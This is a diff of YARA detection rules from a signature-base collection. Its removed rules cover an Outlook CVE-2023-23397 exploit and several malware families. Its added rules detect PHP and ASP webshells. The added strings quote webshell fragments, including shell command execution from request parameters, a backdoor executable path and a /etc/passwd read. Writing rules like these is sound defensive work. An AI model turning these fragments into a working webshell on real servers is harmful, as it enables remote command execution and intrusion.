-		description = "Detects suspicious .msg file with a PidLidReminderFileParameter property exploiting CVE-2023-23397 (modified delivr.to rule - more specific = less FPs but limited to exfil using IP addresses, not FQDNs)"
-		author = "delivr.to, Florian Roth, Nils Kuhnert, Arnim Rupp, marcin@ulikowski.pl"
-		id = "d85bf1d9-aebe-5f8c-9dd4-c509f64e221a"
-		date = "2023-03-15"
-		modified = "2023-03-18"
-		reference = "https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_outlook_cve_2023_23397.yar#L39-L79"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "47fee24586cd2858cfff2dd7a4e76dc95eb44c8506791ccc2d59c837786eafe3"
-		hash = "582442ee950d546744f2fa078adb005853a453e9c7f48c6c770e6322a888c2cf"
-		hash = "6c0087a5cbccb3c776a471774d1df10fe46b0f0eb11db6a32774eb716e1b7909"
-		hash = "7fb7a2394e03cc4a9186237428a87b16f6bf1b66f2724aea1ec6a56904e5bfad"
-		hash = "eedae202980c05697a21a5c995d43e1905c4b25f8ca2fff0c34036bc4fd321fa"
-		hash = "e7a1391dd53f349094c1235760ed0642519fd87baf740839817d47488b9aef02"
-		logic_hash = "a8e8326f5aaa29b449f9203623e03d3d3a1d176bb764171d860afc510a1732e6"
+		description = "PHP Webshells Github Archive - file PhpSpy Ver 2006.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "adbb1963-31c8-5540-a679-c75b1101c163"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6557-L6571"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "34a89e0ab896c3518d9a474b71ee636ca595625d"
+		logic_hash = "69bd2c387b0e676168116f3b3c3c081e08fd555cc6bc9a94b9c8ef97f194b09f"
 		score = 75
 		quality = 85
-		tags = "CVE-2023-23397, FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$psetid_app = { 02 20 06 00 00 00 00 00 C0 00 00 00 00 00 00 46 }
-		$psetid_meeting = { 90 DA D8 6E 0B 45 1B 10 98 DA 00 AA 00 3F 13 05 }
-		$psetid_task = { 03 20 06 00 00 00 00 00 c0 00 00 00 00 00 00 46 }
-		$rfp = { 1F 85 00 00 }
-		$u1 = { 5C 00 5C 00 (3? 00 2E|3? 00 3? 00 2E|3? 00 3? 00 3? 00 2E) 00 (3? 00 2E|3? 00 3? 00 2E|3? 00 3? 00 3? 00 2E) 00 (3? 00 2E|3? 00 3? 00 2E|3? 00 3? 00 3? 00 2E) 00 (3? 00 3? 00 3? 00|3? 00 3? 00|3? 00) }
-		$u2 = { 00 5C 5C (3? 2E|3? 3? 2E|3? 3? 3? 2E) (3? 2E|3? 3? 2E|3? 3? 3? 2E) (3? 2E|3? 3? 2E|3? 3? 3? 2E) (3? 3? 3?|3? 3?|3?) }
-		$fp_msi1 = {84 10 0C 00 00 00 00 00 C0 00 00 00 00 00 00 46}
+		$s2 = "var_dump(@$shell->RegRead($_POST['readregname']));" fullword
+		$s12 = "$prog = isset($_POST['prog']) ? $_POST['prog'] : \"/c net start > \".$pathname."
+		$s19 = "$program = isset($_POST['program']) ? $_POST['program'] : \"c:\\winnt\\system32"
+		$s20 = "$regval = isset($_POST['regval']) ? $_POST['regval'] : 'c:\\winnt\\backdoor.exe'"
 
 	condition:
-		( uint16(0)==0xCFD0 and 1 of ($psetid*) or uint32be(0)==0x789F3E22) and any of ($u*) and $rfp and not 1 of ($fp*)
+		1 of them
 }
-rule SIGNATURE_BASE_EXPL_SUSP_Outlook_CVE_2023_23397_SMTP_Mail_Mar23 : CVE_2023_23397
+rule SIGNATURE_BASE_Webshell_Zyklonshell
 {
 	meta:
-		description = "Detects suspicious *.eml files that include TNEF content that possibly exploits CVE-2023-23397. Lower score than EXPL_SUSP_Outlook_CVE_2023_23397_Exfil_IP_Mar23 as we're only looking for UNC prefix."
-		author = "Nils Kuhnert"
-		id = "922fae73-520d-5659-8331-f242c7c55810"
-		date = "2023-03-17"
-		modified = "2023-03-24"
-		reference = "https://twitter.com/wdormann/status/1636491612686622723"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_outlook_cve_2023_23397.yar#L81-L110"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a361eb3abf98655f43efff2a5399f112d9ac2d23df85a642ab744c78e98330e0"
-		score = 60
+		description = "PHP Webshells Github Archive - file ZyklonShell.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "4d7ff3e5-4940-52c8-b045-5db1523f70c2"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6572-L6586"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3fa7e6f3566427196ac47551392e2386a038d61c"
+		logic_hash = "5d49f2599781836156f6bbb0c50cfcffdb2ca51c7cb688abbc6245d7f856ad01"
+		score = 75
 		quality = 85
-		tags = "CVE-2023-23397"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$mail1 = { 0A 46 72 6F 6D 3A 20 }
-		$mail2 = { 0A 54 6F 3A }
-		$mail3 = { 0A 52 65 63 65 69 76 65 64 3A }
-		$tnef1 = "Content-Type: application/ms-tnef" ascii
-		$tnef2 = "\x78\x9f\x3e\x22" base64
-		$ipm1 = "IPM.Task" base64
-		$ipm2 = "IPM.Appointment" base64
-		$unc = "\x00\x00\x00\x5c\x5c" base64
+		$s0 = "The requested URL /Nemo/shell/zyklonshell.txt was not found on this server.<P>" fullword
+		$s1 = "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">" fullword
+		$s2 = "<TITLE>404 Not Found</TITLE>" fullword
+		$s3 = "<H1>Not Found</H1>" fullword
 
 	condition:
-		all of ($mail*) and all of ($tnef*) and 1 of ($ipm*) and $unc
+		all of them
 }
-rule SIGNATURE_BASE_WEBSHELL_Z_Webshell_2 : FILE
+rule SIGNATURE_BASE_Webshell_Php_Webshells_Myshell_2
 {
 	meta:
-		description = "Detection for the z_webshell"
-		author = "DHS NCCIC Hunt and Incident Response Team"
-		id = "9a54925f-de10-567f-a1ea-5e7522b47dfd"
-		date = "2018-01-25"
+		description = "PHP Webshells Github Archive - file myshell.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		old_rule_name = "z_webshell"
+		old_rule_name = "WebShell_php_webshells_myshell"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ta18_074A.yar#L9-L24"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2c9095c965a55efc46e16b86f9b7d6c6"
-		logic_hash = "d41aa107e54af5d45531a46d24b24f9f14635dbcb50ed26f7c787883854f961f"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6587-L6602"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5bd52749872d1083e7be076a5e65ffcde210e524"
+		logic_hash = "7765e43189d6ec0cda0b58d00cfd7fc8cec89287dbac7487083b6ce1ce55f306"
 		score = 75
-		quality = 81
-		tags = "FILE"
+		quality = 85
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$webshell_name = "public string z_progname =" nocase ascii wide
-		$webshell_password = "public string Password =" nocase ascii wide
+		$s0 = "if($ok==false &&$status && $autoErrorTrap)system($command . \" 1> /tmp/outpu"
+		$s5 = "system($command . \" 1> /tmp/output.txt 2>&1; cat /tmp/output.txt; rm /tmp/o"
+		$s15 = "<title>$MyShellVersion - Access Denied</title>" fullword
+		$s16 = "}$ra44  = rand(1,99999);$sj98 = \"sh-$ra44\";$ml = \"$sd98\";$a5 = $_SERVER['HTT"
 
 	condition:
-		( uint32(0)==0x2040253c or uint32(0)==0x7073613c) and filesize <100KB and 2 of ($webshell_*)
+		1 of them
 }
-rule SIGNATURE_BASE_TA18_074A_Screen : FILE
+rule SIGNATURE_BASE_Webshell_Php_Webshells_Lolipop
 {
 	meta:
-		description = "Detects malware mentioned in TA18-074A"
+		description = "PHP Webshells Github Archive - file lolipop.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "789ee5e5-83c3-5137-a078-ff230dbf8fcd"
-		date = "2018-03-16"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/alerts/TA18-074A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ta18_074A.yar#L34-L51"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e96f70e3d9c7ff5812724111788365c47e2b478a35b39771c12a3d3636a6a020"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6603-L6616"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "86f23baabb90c93465e6851e40104ded5a5164cb"
+		logic_hash = "8b0dcf76a244f80d4bee0c62189df55c1f8d71cf0900cd8ebb5916f5fe972bed"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2f159b71183a69928ba8f26b76772ec504aefeac71021b012bd006162e133731"
 
 	strings:
-		$s1 = "screen.exe" fullword wide
-		$s2 = "PlatformInvokeUSER32" fullword ascii
-		$s3 = "GetDesktopImageF" fullword ascii
-		$s4 = "PlatformInvokeGDI32" fullword ascii
-		$s5 = "Too many arguments, going to store in current dir" fullword wide
+		$s3 = "$commander = $_POST['commander']; " fullword
+		$s9 = "$sourcego = $_POST['sourcego']; " fullword
+		$s20 = "$result = mysql_query($loli12) or die (mysql_error()); " fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <60KB and 3 of them
+		all of them
 }
-rule SIGNATURE_BASE_TA18_074A_Scripts : FILE
+rule SIGNATURE_BASE_Webshell_Simple_Cmd
 {
 	meta:
-		description = "Detects malware mentioned in TA18-074A"
+		description = "PHP Webshells Github Archive - file simple_cmd.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4c786098-c5f4-529b-8732-03183dfa94b5"
-		date = "2018-03-16"
-		modified = "2022-08-18"
-		reference = "https://www.us-cert.gov/ncas/alerts/TA18-074A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ta18_074A.yar#L53-L67"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "888ddd59b388033604474fc008f830159a9a104683fb052e7497b83118cbb8aa"
+		id = "1fd0c01a-c265-5e30-ab36-e8e93e316fbe"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6617-L6631"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "466a8caf03cdebe07aa16ad490e54744f82e32c2"
+		logic_hash = "82a65f4bbdcd2fc626aa9f36fe530d19aa19a48389e970c26e525597818914ee"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2f159b71183a69928ba8f26b76772ec504aefeac71021b012bd006162e133731"
 
 	strings:
-		$s1 = "Running -s cmd /c query user on " ascii
+		$s1 = "<input type=TEXT name=\"-cmd\" size=64 value=\"<?=$cmd?>\" " fullword
+		$s2 = "<title>G-Security Webshell</title>" fullword
+		$s4 = "<? if($cmd != \"\") print Shell_Exec($cmd);?>" fullword
+		$s6 = "<? $cmd = $_REQUEST[\"-cmd\"];?>" fullword
 
 	condition:
-		filesize <600KB and 1 of them
+		1 of them
 }
-rule SIGNATURE_BASE_Zeus_Panda : FILE
+rule SIGNATURE_BASE_Webshell_Go_Shell
 {
 	meta:
-		description = "Detects ZEUS Panda Malware"
+		description = "PHP Webshells Github Archive - file go-shell.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2786b1e0-37af-5595-a24b-56ef3cb928a7"
-		date = "2017-08-04"
+		id = "63eaf530-050a-5db7-8885-d4a1e86d62de"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_zeus_panda.yar#L11-L33"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "63312763196259204dcee6b6c46ae1a16abeab0afabbce9e2e8413131856b04e"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6632-L6647"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3dd85981bec33de42c04c53d081c230b5fc0e94f"
+		logic_hash = "f2fcefb9a0536c80fa74ceb002e113f95de53d1f56e22c81b542c395dd11071d"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "bd956b2e81731874995b9b92e20f75dbf67ac5f12f9daa194525e1b673c7f83c"
 
 	strings:
-		$x1 = "SER32.dll" fullword ascii
-		$x2 = "/c start \"\" \"%s\"" fullword wide
-		$x3 = "del /F \"%s\"" fullword ascii
-		$s1 = "bcdfghklmnpqrstvwxz" fullword ascii
-		$s2 = "=> -,0;" fullword ascii
-		$s3 = "Yahoo! Slurp" fullword ascii
-		$s4 = "ZTNHGET ^&" fullword ascii
-		$s5 = "MSIE 9" fullword ascii
-		$s6 = "%s%08x.%s" fullword wide
+		$s0 = "#change this password; for power security - delete this file =)" fullword
+		$s2 = "if (!defined$param{cmd}){$param{cmd}=\"ls -la\"};" fullword
+		$s11 = "open(FILEHANDLE, \"cd $param{dir}&&$param{cmd}|\");" fullword
+		$s12 = "print << \"[kalabanga]\";" fullword
+		$s13 = "<title>GO.cgi</title>" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and (2 of ($x*) or 4 of them )
+		1 of them
 }
-rule SIGNATURE_BASE_Dubseven_File_Set : FILE
+rule SIGNATURE_BASE_Webshell_Azrailphp_V1_0_2
 {
 	meta:
-		description = "Searches for service files loading UP007"
-		author = "Matt Brooks, @cmatthewbrooks"
-		id = "5b0a9cb9-aeef-5508-8854-51ad846b22c5"
-		date = "2016-04-18"
+		description = "PHP Webshells Github Archive - file aZRaiLPhp v1.0.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "10546549-e16d-567d-9d88-3d37fe8ff03f"
+		date = "2023-12-05"
 		modified = "2023-12-05"
+		old_rule_name = "WebShell_aZRaiLPhp_v1_0"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_between-hk-and-burma.yar#L1-L29"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "af98ab901ca97a350aa837779d74208a780b1099e113cfa59bee2eb33690918e"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6648-L6663"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a2c609d1a8c8ba3d706d1d70bef69e63f239782b"
+		logic_hash = "8309338bb327cc14ae5970bd921b3dba68353d55be31b9dbbc5374ded24ed563"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$file1 = "\\Microsoft\\Internet Explorer\\conhost.exe"
-		$file2 = "\\Microsoft\\Internet Explorer\\dll2.xor"
-		$file3 = "\\Microsoft\\Internet Explorer\\HOOK.DLL"
-		$file4 = "\\Microsoft\\Internet Explorer\\main.dll"
-		$file5 = "\\Microsoft\\Internet Explorer\\nvsvc.exe"
-		$file6 = "\\Microsoft\\Internet Explorer\\SBieDll.dll"
-		$file7 = "\\Microsoft\\Internet Explorer\\mon"
-		$file8 = "\\Microsoft\\Internet Explorer\\runas.exe"
+		$s0 = "<font size='+1'color='#0000FF'>aZRaiLPhP'nin URL'si: http://$HTTP_HOST$RED"
+		$s4 = "$fileperm=base_convert($_POST['fileperm'],8,10);" fullword
+		$s19 = "touch (\"$path/$dismi\") or die(\"Dosya Olu" fullword
+		$s20 = "echo \"<div align=left><a href='./$this_file?dir=$path/$file'>G" fullword
 
 	condition:
-		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and 3 of ($file*)
+		2 of them
 }
-rule SIGNATURE_BASE_Dubseven_Dropper_Registry_Checks : FILE
+rule SIGNATURE_BASE_Webshell_Webshells_Zehir4
 {
 	meta:
-		description = "Searches for registry keys checked for by the dropper"
-		author = "Matt Brooks, @cmatthewbrooks"
-		id = "8369cdbb-53b8-5dc5-9181-fd49747042a7"
-		date = "2016-04-18"
+		description = "Webshells Github Archive - file zehir4"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_between-hk-and-burma.yar#L31-L57"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "813ff641a4213cf9d56013768e284e7f622a223c6c4f585c3bbbcf69fc03723c"
-		score = 75
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6664-L6677"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "788928ae87551f286d189e163e55410acbb90a64"
+		logic_hash = "36b6940ffecd9be190cce62252ec7d87f1c0bc0d19b4442df63f4404eb316364"
+		score = 55
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$reg1 = "SOFTWARE\\360Safe\\Liveup"
-		$reg2 = "Software\\360safe"
-		$reg3 = "SOFTWARE\\kingsoft\\Antivirus"
-		$reg4 = "SOFTWARE\\Avira\\Avira Destop"
-		$reg5 = "SOFTWARE\\rising\\RAV"
-		$reg6 = "SOFTWARE\\JiangMin"
-		$reg7 = "SOFTWARE\\Micropoint\\Anti-Attack"
+		$s0 = "frames.byZehir.document.execCommand(command, false, option);" fullword
+		$s8 = "response.Write \"<title>ZehirIV --> Powered By Zehir &lt;zehirhacker@hotmail.com"
 
 	condition:
-		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and all of ($reg*)
+		1 of them
 }
-rule SIGNATURE_BASE_Dubseven_Dropper_Dialog_Remains : FILE
+rule SIGNATURE_BASE_Webshell_Zehir4_Asp_Php
 {
 	meta:
-		description = "Searches for related dialog remnants. How rude."
-		author = "Matt Brooks, @cmatthewbrooks"
-		id = "6029ea74-26fc-57d1-aaed-be1ea2138844"
-		date = "2016-04-18"
+		description = "PHP Webshells Github Archive - file zehir4.asp.php.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7a849bc6-fff5-5bb6-aff7-660889fd077b"
+		date = "2023-12-05"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_between-hk-and-burma.yar#L59-L80"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "322ddc1210b6bde393970c61113e6efcb87a3529db386323dfd08973e5d2703e"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6678-L6691"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1d9b78b5b14b821139541cc0deb4cbbd994ce157"
+		logic_hash = "dfaf685ac3b364143bfbe289b05f066b09f01622fec3e9157f4b4791f7567619"
 		score = 75
-		quality = 85
-		tags = "FILE"
+		quality = 60
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$dia1 = "fuckMessageBox 1.0" wide
-		$dia2 = "Rundll 1.0" wide
+		$s4 = "response.Write \"<title>zehir3 --> powered by zehir &lt;zehirhacker@hotmail.com&"
+		$s11 = "frames.byZehir.document.execCommand("
+		$s15 = "frames.byZehir.document.execCommand(co"
 
 	condition:
-		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and any of them
+		2 of them
 }
-rule SIGNATURE_BASE_Maindll_Mutex : FILE
+rule SIGNATURE_BASE_Webshell_Php_Webshells_Lostdc
 {
 	meta:
-		description = "Matches on the maindll mutex"
-		author = "Matt Brooks, @cmatthewbrooks"
-		id = "7a89dae3-9e03-5803-9729-78e6e65e91d3"
-		date = "2016-04-18"
+		description = "PHP Webshells Github Archive - file lostDC.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_between-hk-and-burma.yar#L83-L103"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8d3311164104198e02e700c2e9a5293e55d75d63b39c75c4e375b7f35eb5fde4"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6692-L6707"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d54fe07ea53a8929620c50e3a3f8fb69fdeb1cde"
+		logic_hash = "e3cd28f4a72f5a8a92c728fe76a7159c28256e87daf4c1dd10190a57263f5b45"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$mutex = "h31415927tttt"
+		$s0 = "$info .= '[~]Server: ' .$_SERVER['HTTP_HOST'] .'<br />';" fullword
+		$s4 = "header ( \"Content-Description: Download manager\" );" fullword
+		$s5 = "print \"<center>[ Generation time: \".round(getTime()-startTime,4).\" second"
+		$s9 = "if (mkdir($_POST['dir'], 0777) == false) {" fullword
+		$s12 = "$ret = shellexec($command);" fullword
 
 	condition:
-		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and $mutex
+		2 of them
 }
-rule SIGNATURE_BASE_Slserver_Dialog_Remains : FILE
+rule SIGNATURE_BASE_Webshell_Casus_1_5
 {
 	meta:
-		description = "Searches for related dialog remnants."
-		author = "Matt Brooks, @cmatthewbrooks / modified by Florian Roth"
-		id = "cf199d25-ce5e-52c2-88de-32a48dee4c6f"
-		date = "2016-04-18"
+		description = "PHP Webshells Github Archive - file CasuS 1.5.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "cf89d8f8-d498-57fe-98eb-a98350db182f"
+		date = "2023-12-05"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_between-hk-and-burma.yar#L106-L136"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5b18f4a6c54b456ae697e9639e8c3041fd4f3141d89850c3e1d3d4e220c3cea3"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6708-L6721"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7eee8882ad9b940407acc0146db018c302696341"
+		logic_hash = "0dbaa39bd33047d24e5bc9716108c5581da3f54e93d90f9c550b3d84de1ebfe2"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$slserver = "SLServer" wide fullword
-		$fp1 = "Dell Inc." wide fullword
-		$fp2 = "ScriptLogic Corporation" wide
-		$extra1 = "SLSERVER" wide fullword
-		$extra2 = "\\SLServer.pdb" ascii
+		$s2 = "<font size='+1'color='#0000FF'><u>CasuS 1.5'in URL'si</u>: http://$HTTP_HO"
+		$s8 = "$fonk_kap = get_cfg_var(\"fonksiyonlary_kapat\");" fullword
+		$s18 = "if (file_exists(\"F:\\\\\")){" fullword
 
 	condition:
-		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and not 1 of ($fp*) and 1 of ($extra*) and $slserver
+		1 of them
 }
-rule SIGNATURE_BASE_Slserver_Mutex : FILE
+rule SIGNATURE_BASE_Webshell_Ftpsearch
 {
 	meta:
-		description = "Searches for the mutex."
-		author = "Matt Brooks, @cmatthewbrooks"
-		id = "decdefd0-fe20-5adf-9d8c-0e2b954481a0"
-		date = "2016-04-18"
+		description = "PHP Webshells Github Archive - file ftpsearch.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9db8f00a-1843-5057-b8c7-a7f7b63e0659"
+		date = "2023-12-05"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_between-hk-and-burma.yar#L138-L158"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9bf3c6c93e77424463e3fb6f9f4d58e80254866462fe1287293b0a357737da20"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6722-L6736"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c945f597552ccb8c0309ad6d2831c8cabdf4e2d6"
+		logic_hash = "6b32553be4fdf26776e3cbb8a5d4d011d88f2bd50949b65934df72b89065aeec"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$mutex = "M&GX^DSF&DA@F"
+		$s0 = "echo \"[-] Error : coudn't read /etc/passwd\";" fullword
+		$s9 = "@$ftp=ftp_connect('127.0.0.1');" fullword
+		$s12 = "echo \"<title>Edited By KingDefacer</title><body>\";" fullword
